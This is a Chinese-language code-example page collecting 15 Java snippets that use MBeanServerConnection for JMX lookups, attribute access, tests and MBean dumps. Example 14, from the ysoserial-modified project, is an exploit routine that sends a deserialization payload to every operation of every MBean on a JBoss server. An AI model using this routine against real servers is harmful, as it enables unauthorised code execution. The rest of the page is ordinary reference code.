当前位置: 首页>>代码示例>>Java>>正文


Java MBeanServerConnection类代码示例

本文整理汇总了Java中javax.management.MBeanServerConnection的典型用法代码示例。如果您正苦于以下问题:Java MBeanServerConnection类的具体用法?Java MBeanServerConnection怎么用?Java MBeanServerConnection使用的例子?那么, 这里精选的类代码示例或许可以为您提供帮助。


MBeanServerConnection类属于javax.management包,在下文中一共展示了MBeanServerConnection类的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Java代码示例。

示例1: getWorkManager

import javax.management.MBeanServerConnection; //导入依赖的package包/类
/**
 * Obtain the default JBoss JCA WorkManager through a JMX lookup
 * for the JBossWorkManagerMBean.
 * @param mbeanName the JMX object name to use
 * @see org.jboss.resource.work.JBossWorkManagerMBean
 */
public static WorkManager getWorkManager(String mbeanName) {
	Assert.hasLength(mbeanName, "JBossWorkManagerMBean name must not be empty");
	try {
		Class<?> mbeanClass = JBossWorkManagerUtils.class.getClassLoader().loadClass(JBOSS_WORK_MANAGER_MBEAN_CLASS_NAME);
		InitialContext jndiContext = new InitialContext();
		MBeanServerConnection mconn = (MBeanServerConnection) jndiContext.lookup(MBEAN_SERVER_CONNECTION_JNDI_NAME);
		ObjectName objectName = ObjectName.getInstance(mbeanName);
		Object workManagerMBean = MBeanServerInvocationHandler.newProxyInstance(mconn, objectName, mbeanClass, false);
		Method getInstanceMethod = workManagerMBean.getClass().getMethod("getInstance");
		return (WorkManager) getInstanceMethod.invoke(workManagerMBean);
	}
	catch (Exception ex) {
		throw new IllegalStateException(
				"Could not initialize JBossWorkManagerTaskExecutor because JBoss API is not available", ex);
	}
}
 
开发者ID:lamsfoundation,项目名称:lams,代码行数:23,代码来源:JBossWorkManagerUtils.java

示例2: jmxGet

import javax.management.MBeanServerConnection; //导入依赖的package包/类
/**
 * @param jmxServerConnection
 * @param name
 * @return The value of the given named attribute
 * @throws Exception
 */
protected String jmxGet(MBeanServerConnection jmxServerConnection,String name) throws Exception {
    String error = null;
    if(isEcho()) {
        handleOutput("MBean " + name + " get attribute " + attribute );
    }
    Object result = jmxServerConnection.getAttribute(
            new ObjectName(name), attribute);
    if (result != null) {
        echoResult(attribute,result);
        createProperty(result);
    } else
        error = "Attribute " + attribute + " is empty";
    return error;
}
 
开发者ID:sunmingshuai,项目名称:apache-tomcat-7.0.73-with-comment,代码行数:21,代码来源:JMXAccessorGetTask.java

示例3: getMBeanServerConnection

import javax.management.MBeanServerConnection; //导入依赖的package包/类
public synchronized MBeanServerConnection
        getMBeanServerConnection(Subject delegationSubject)
        throws IOException {

    if (terminated) {
        if (logger.traceOn())
            logger.trace("getMBeanServerConnection","[" + this.toString() +
                    "] already closed.");
        throw new IOException("Connection closed");
    } else if (!connected) {
        if (logger.traceOn())
            logger.trace("getMBeanServerConnection","[" + this.toString() +
                    "] is not connected.");
        throw new IOException("Not connected");
    }

    return getConnectionWithSubject(delegationSubject);
}
 
开发者ID:lambdalab-mirror,项目名称:jdk8u-jdk,代码行数:19,代码来源:RMIConnector.java

示例4: testSingleWriter

import javax.management.MBeanServerConnection; //导入依赖的package包/类
@Test
public void testSingleWriter() throws IOException {
    final JMXConnector connection = getConnection();
    final MBeanServerConnection mbs = getMbeanServer(connection);
    final ObjectName writerObject = getWriterObjectName(mbs);
    final String fileName = StringGenerator.nextRandomString(5);
    final File file = new File(testSpaceDirectory, fileName);
    //set parameter to service
    JmxClientDiscHelper.setByteTarget(mbs,writerObject, (long) (10* TransformValues.MEGABYTE));
    JmxClientDiscHelper.setChunkSize(mbs,writerObject,64000);
    JmxClientDiscHelper.setFileName(mbs,writerObject, fileName);
    JmxClientDiscHelper.setOutputPath(mbs,writerObject,testSpaceDirectory);
    JmxClientDiscHelper.setWriterBufferSize(mbs,writerObject,64000);
    JmxClientDiscHelper.setWriterImplementation(mbs,writerObject, WriterType.BufferedWriter.getKey());
    //set run parameter

    //start a single writer
    JmxClientDiscHelper.startWriter(mbs,writerObject);
}
 
开发者ID:deB4SH,项目名称:Byter,代码行数:20,代码来源:ClientJmxDiscTest.java

示例5: execute

import javax.management.MBeanServerConnection; //导入依赖的package包/类
/**
 * Execute the specified command. This logic only performs the common
 * attribute validation required by all subclasses; it does not perform any
 * functional logic directly.
 * 
 * @exception BuildException
 *                if a validation error occurs
 */
@Override
public void execute() throws BuildException {
    if (testIfCondition() && testUnlessCondition()) {
        try {
            String error = null;

            MBeanServerConnection jmxServerConnection = getJMXConnection();
            error = jmxExecute(jmxServerConnection);
            if (error != null && isFailOnError()) {
                // exception should be thrown only if failOnError == true
                // or error line will be logged twice
                throw new BuildException(error);
            }
        } catch (Exception e) {
            if (isFailOnError()) {
                throw new BuildException(e);
            } else {
                handleErrorOutput(e.getMessage());
            }
        } finally {
            closeRedirector();
        }
    }
}
 
开发者ID:liaokailin,项目名称:tomcat7,代码行数:33,代码来源:JMXAccessorTask.java

示例6: t1testStandardVariableOverJMX

import javax.management.MBeanServerConnection; //导入依赖的package包/类
/**
 * Test all base variables of the reader jmx interface
 */
@Test
public void t1testStandardVariableOverJMX() throws IOException {
    final JMXConnector connection = getConnection();
    final MBeanServerConnection mbs = getMbeanServer(connection);
    final ObjectName readerObject = getReaderObjectName(mbs);
    //assert path
    final String path = JmxClientReaderHelper.getFilePath(mbs,readerObject);
    Assert.assertEquals(System.getProperty("user.dir"), path);
    //assert filename
    final String filename = JmxClientReaderHelper.getFileName(mbs,readerObject);
    Assert.assertEquals("none", filename);
    //assert chunksize
    final int chunkSize = JmxClientReaderHelper.getChunkSize(mbs,readerObject);
    Assert.assertEquals(8192, chunkSize);
    //assert takeMeasurements
    final String takeMeasurements = JmxClientReaderHelper.getTakeMeasurements(mbs,readerObject);
    final boolean takeMeasurementsAsBoolean = JmxClientReaderHelper.getTakeMeasurementsAsBoolean(mbs,readerObject);
    Assert.assertEquals(true, takeMeasurementsAsBoolean);
    Assert.assertEquals("true", takeMeasurements);
    //assert measurementvolume
    final int measurementVolume = JmxClientReaderHelper.getMeasurementVolume(mbs,readerObject);
    Assert.assertEquals(-1,measurementVolume);
    //assert readertype
    final String readerType = JmxClientReaderHelper.getReaderType(mbs,readerObject);
    final ReaderType readerTypeAsEnum = JmxClientReaderHelper.getReaderTypeAsType(mbs,readerObject);
    Assert.assertEquals(ReaderType.none, readerTypeAsEnum);
    Assert.assertEquals("none", readerType);
}
 
开发者ID:deB4SH,项目名称:Byter,代码行数:32,代码来源:ReaderJmxTest.java

示例7: getTakeMeasurementsAsBoolean

import javax.management.MBeanServerConnection; //导入依赖的package包/类
/**
 * get the current state of the TakeMeasurements flag as boolean.
 * @param mbs mbean server
 * @param on client reader object name
 * @return boolean | false is the default value or error value
 */
public static boolean getTakeMeasurementsAsBoolean(final MBeanServerConnection mbs, final ObjectName on){
    String param = getTakeMeasurements(mbs,on);
    if("true".equals(param))
        return true;
    else if("false".equals(param))
        return false;
    else
        log.log(Level.INFO,"JmxClientReaderHelper getTakeMeasurement - JMX returned some weird value for TakeMeasurements: " + param);
    return false;
}
 
开发者ID:deB4SH,项目名称:Byter,代码行数:17,代码来源:JmxClientReaderHelper.java

示例8: doSetRequest

import javax.management.MBeanServerConnection; //导入依赖的package包/类
protected int doSetRequest(MBeanServerConnection mbsc,
                           ObjectName on,
                           boolean expectedException) {
    int errorCount = 0;

    try {
        Utils.debug(Utils.DEBUG_STANDARD,
            "ClientSide::doSetRequest: Set attributes of the MBean") ;

        Attribute attribute = new Attribute("Attribute", "My value") ;
        mbsc.setAttribute(on, attribute) ;

        if (expectedException) {
            System.out.println("ClientSide::doSetRequest: " +
                "(ERROR) Set did not fail with expected SecurityException");
            errorCount++;
        } else {
            System.out.println("ClientSide::doSetRequest: (OK) Set succeed") ;
        }
    } catch(Exception e) {
        Utils.printThrowable(e, true) ;
        if (expectedException) {
            if (e instanceof java.lang.SecurityException) {
                System.out.println("ClientSide::doSetRequest: " +
                    "(OK) Set failed with expected SecurityException") ;
            } else {
                System.out.println("ClientSide::doSetRequest: " +
                    "(ERROR) Set failed with " +
                    e.getClass() + " instead of expected SecurityException");
                errorCount++;
            }
        } else {
            System.out.println("ClientSide::doSetRequest: (ERROR) Set failed");
            errorCount++;
        }
    }
    return errorCount;
}
 
开发者ID:AdoptOpenJDK,项目名称:openjdk-jdk10,代码行数:39,代码来源:AuthorizationTest.java

示例9: AgentLoggerJMXProxy

import javax.management.MBeanServerConnection; //导入依赖的package包/类
public AgentLoggerJMXProxy(IAgentId agentName, MBeanServerConnection mbsc, ObjectName parentName) {
    super(agentName);
    this.mbsc = mbsc;
    this.parentName = parentName;
    ObjectName objectName = AgentLogger.getJMXAgentLoggerName(parentName);        
    this.agentLoggerProxy = new DynamicProxy(objectName, mbsc); 
}
 
开发者ID:kefik,项目名称:Pogamut3,代码行数:8,代码来源:AgentLoggerJMXProxy.java

示例10: call

import javax.management.MBeanServerConnection; //导入依赖的package包/类
public MBeanServerConnection call() {
    MBeanServer mbs = MBeanServerFactory.newMBeanServer();
    try {
        JMXServiceURL url = new JMXServiceURL("service:jmx:rmi://");
        JMXConnectorServer cs =
            JMXConnectorServerFactory.newJMXConnectorServer(
                url, null, mbs);
        cs.start();
        JMXServiceURL addr = cs.getAddress();
        connector = JMXConnectorFactory.connect(addr);
        return connector.getMBeanServerConnection();
    } catch (IOException e) {
        throw new RuntimeException(e);
    }
}
 
开发者ID:AdoptOpenJDK,项目名称:openjdk-jdk10,代码行数:16,代码来源:OldMBeanServerTest.java

示例11: doCreateRequest

import javax.management.MBeanServerConnection; //导入依赖的package包/类
protected int doCreateRequest(MBeanServerConnection mbsc,
                              ObjectName on,
                              boolean expectedException) {
    int errorCount = 0;

    try {
        Utils.debug(Utils.DEBUG_STANDARD,
            "ClientSide::doCreateRequest: Create and register the MBean") ;

        mbsc.createMBean("Simple", on) ;

        if (expectedException) {
            System.out.println("ClientSide::doCreateRequest: " +
                "(ERROR) Create did not fail with expected SecurityException");
            errorCount++;
        } else {
            System.out.println("ClientSide::doCreateRequest: (OK) Create succeed") ;
        }
    } catch(Exception e) {
        Utils.printThrowable(e, true) ;
        if (expectedException) {
            if (e instanceof java.lang.SecurityException) {
                System.out.println("ClientSide::doCreateRequest: " +
                    "(OK) Create failed with expected SecurityException") ;
            } else {
                System.out.println("ClientSide::doCreateRequest: " +
                    "(ERROR) Create failed with " +
                    e.getClass() + " instead of expected SecurityException");
                errorCount++;
            }
        } else {
            System.out.println("ClientSide::doCreateRequest: " +
                "(ERROR) Create failed");
            errorCount++;
        }
    }
    return errorCount;
}
 
开发者ID:AdoptOpenJDK,项目名称:openjdk-jdk10,代码行数:39,代码来源:AuthorizationTest.java

示例12: dumpConnection

import javax.management.MBeanServerConnection; //导入依赖的package包/类
/**
 * Dumps a local or remote MBeanServer's entire object tree for support purposes. Nested arrays and CompositeData
 * objects in MBean attribute values are handled.
 * 
 * @param connection
 *            the server connection (or server itself)
 * @param out
 *            PrintWriter to write the output to
 * @throws IOException
 *             Signals that an I/O exception has occurred.
 */
public static void dumpConnection(MBeanServerConnection connection, PrintWriter out) throws IOException
{
    JmxDumpUtil.showStartBanner(out);
    
    // Get all the object names
    Set<ObjectName> objectNames = connection.queryNames(null, null);

    // Sort the names (don't assume ObjectName implements Comparable in JDK 1.5)
    Set<ObjectName> newObjectNames = new TreeSet<ObjectName>(new Comparator<ObjectName>()
    {
        public int compare(ObjectName o1, ObjectName o2)
        {
            return o1.toString().compareTo(o2.toString());
        }
    });
    newObjectNames.addAll(objectNames);
    objectNames = newObjectNames;

    
    // Dump each MBean
    for (ObjectName objectName : objectNames)
    {
        try
        {
            printMBeanInfo(connection, objectName, out);
        }
        catch (JMException e)
        {
            // Sometimes beans can disappear while we are examining them
        }
    }
}
 
开发者ID:Alfresco,项目名称:alfresco-repository,代码行数:44,代码来源:JmxDumpUtil.java

示例13: printMBeanInfo

import javax.management.MBeanServerConnection; //导入依赖的package包/类
/**
 * Dumps the details of a single MBean.
 * 
 * @param connection
 *            the server connection (or server itself)
 * @param objectName
 *            the object name
 * @param out
 *            PrintWriter to write the output to
 * @throws IOException
 *             Signals that an I/O exception has occurred.
 * @throws JMException
 *             Signals a JMX error
 */
private static void printMBeanInfo(MBeanServerConnection connection, ObjectName objectName, PrintWriter out)
        throws IOException, JMException
{
    Map<String, Object> attributes = new TreeMap<String, Object>();
    MBeanInfo info = connection.getMBeanInfo(objectName);
    attributes.put("** Object Name", objectName.toString());
    attributes.put("** Object Type", info.getClassName());
    for (MBeanAttributeInfo element : info.getAttributes())
    {
        Object value;
        if (element.isReadable())
        {
            try
            {
                value = connection.getAttribute(objectName, element.getName());
            }
            catch (Exception e)
            {
                value = JmxDumpUtil.PROTECTED_VALUE;
            }
        }
        else
        {
            value = JmxDumpUtil.PROTECTED_VALUE;
        }
        attributes.put(element.getName(), value);
    }
    if (objectName.getCanonicalName().equals("Alfresco:Name=SystemProperties"))
    {
        String osName = (String) attributes.get(OS_NAME);
        if (osName != null && osName.toLowerCase().startsWith("linux"))
        {
            attributes.put(OS_NAME, updateOSNameAttributeForLinux(osName));
        }
    }
    tabulate(JmxDumpUtil.NAME_HEADER, JmxDumpUtil.VALUE_HEADER, attributes, out, 0);
}
 
开发者ID:Alfresco,项目名称:alfresco-repository,代码行数:52,代码来源:JmxDumpUtil.java

示例14: doExploit

import javax.management.MBeanServerConnection; //导入依赖的package包/类
private static void doExploit ( final Object payloadObject, MBeanServerConnection mbc )
        throws IOException, InstanceNotFoundException, IntrospectionException, ReflectionException {
    Object[] params = new Object[1];
    params[ 0 ] = payloadObject;
    System.err.println("Querying MBeans");
    Set<ObjectInstance> testMBeans = mbc.queryMBeans(null, null);
    System.err.println("Found " + testMBeans.size() + " MBeans");
    for ( ObjectInstance oi : testMBeans ) {
        MBeanInfo mBeanInfo = mbc.getMBeanInfo(oi.getObjectName());
        for ( MBeanOperationInfo opInfo : mBeanInfo.getOperations() ) {
            try {
                mbc.invoke(oi.getObjectName(), opInfo.getName(), params, new String[] {});
                System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> SUCCESS");
                return;
            }
            catch ( Throwable e ) {
                String msg = e.getMessage();
                if ( msg.startsWith("java.lang.ClassNotFoundException:") ) {
                    int start = msg.indexOf('"');
                    int stop = msg.indexOf('"', start + 1);
                    String module = ( start >= 0 && stop > 0 ) ? msg.substring(start + 1, stop) : "<unknown>";
                    if ( !"<unknown>".equals(module) && !"org.jboss.as.jmx:main".equals(module) ) {
                        int cstart = msg.indexOf(':');
                        int cend = msg.indexOf(' ', cstart + 2);
                        String cls = msg.substring(cstart + 2, cend);
                        System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> FAIL CNFE " + cls + " (" + module + ")");
                    }
                }
                else {
                    System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> SUCCESS|ERROR " + msg);
                    return;
                }
            }
        }
    }
}
 
开发者ID:pimps,项目名称:ysoserial-modified,代码行数:37,代码来源:JBoss.java

示例15: jmxGet

import javax.management.MBeanServerConnection; //导入依赖的package包/类
/**
 * @param jmxServerConnection
 * @param name
 * @return The value of the given named attribute
 * @throws Exception
 */
protected String jmxGet(MBeanServerConnection jmxServerConnection, String name) throws Exception {
	String error = null;
	if (isEcho()) {
		handleOutput("MBean " + name + " get attribute " + attribute);
	}
	Object result = jmxServerConnection.getAttribute(new ObjectName(name), attribute);
	if (result != null) {
		echoResult(attribute, result);
		createProperty(result);
	} else
		error = "Attribute " + attribute + " is empty";
	return error;
}
 
开发者ID:how2j,项目名称:lazycat,代码行数:20,代码来源:JMXAccessorGetTask.java


注:本文中的javax.management.MBeanServerConnection类示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。